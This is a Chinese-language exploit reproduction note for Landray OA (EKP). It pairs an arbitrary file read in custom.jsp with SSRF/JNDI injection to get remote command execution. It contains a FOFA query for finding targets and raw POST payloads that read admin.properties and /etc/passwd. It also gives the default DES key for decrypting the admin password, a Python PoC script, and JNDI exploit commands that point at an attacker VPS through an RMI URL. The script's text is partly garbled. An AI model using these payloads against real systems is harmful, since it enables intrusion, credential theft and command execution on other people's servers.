使用需知
由于传播和使用本文所提供的任何直接或间接的后果和损失,均由用户承担,作者对此不承担任何责任。如果文章出现敏感内容产生不良影响,请联系作者删除。
本文为工作中遇到的漏洞,文章为自己复现做的相关笔记,参考了很多前人的资料,只是做个笔记。
一、漏洞描述
深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息,同时可利用ssrf进行远程命令执行。
二、漏洞影响
蓝凌OA
三、任意文件读取复现
fofa语法
app=“Landray-OA系统”
利用 蓝凌OA custom.jsp 任意文件读取漏洞读取配置文件
读取路径:
/WEB-INF/KmssConfig/admin.properties
如果用BP抓包,POC如下
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzipvar={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
或者用hackbar,POST方法提交下列数据:
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
获取密码DES解密登陆后台:默认密钥为 kmssAdminKey
注意没有\r
获得密码:******
访问后台
http://漏洞ip/admin.do
输入获得的密码即可登录。
如果服务器是LINUX,似乎可以这样做,但我没有弄成功
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzipvar={"body":{"file":"file:///etc/passwd"}}
另外附上大佬们的POC脚本;
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.techimport base64
import requests
import random
import re
import json
import sysdef title():print('+------------------------------------------')print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m')print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m')print('+ 33[34m公众号 : PeiQi文库 33[0m')print('+ 33[34mVersion: 蓝凌OA 任意文件读取 33[0m')print('+ 33[36m使用格式: python3 poc.py 33[0m')print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m')print('+------------------------------------------')def POC_1(target_url):vuln_url = target_url + "/sys/ui/extend/varkind/custom.jsp"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}data = 'var={"body":{"file":"file:///etc/passwd"}}'try:response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)print("33[36m[o] 正在请求 {}/sys/ui/extend/varkind/custom.jsp 33[0m".format(target_url))if "root:" in response.text and response.status_code == 200:print("33[36m[o] 成功读取 /etc/passwd n[o] 响应为:{} 33[0m".format(response.text))except Exception as e:print("33[31m[x] 请求失败:{} 33[0m".format(e))sys.exit(0)#
if __name__ == '__main__':title()target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))POC_1(target_url)
四、配合SSRF进行命令执行复现
使用JNDI注入工具启动监听:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "Command" -A VPS ip
-A参数填写vps地址,就是你服务器的地址。
-C参数填写自己的命令即可,一般都是去ping dnslog
Dnslog:http://www.dnslog.cn/
如图所示:
随后用BP抓取后台的包,利用已登录的cookie去进行命令执行。这里需要注意把JDK 1.7对应的rmi地址,填到BP抓到的包中
POST /admin.do?method=testDbConn&datasource=rmi://VPS IP:1099/erzyyz HTTP/1.1
就是这样子了。
附上JNDI注入工具下载地址
https://github.com/feihong-cs/JNDIExploit/tags
参考链接:
https://www.jianshu.com/p/a9250d02aeb1
https://idc.wanyunshuju.com/aqld/2202.html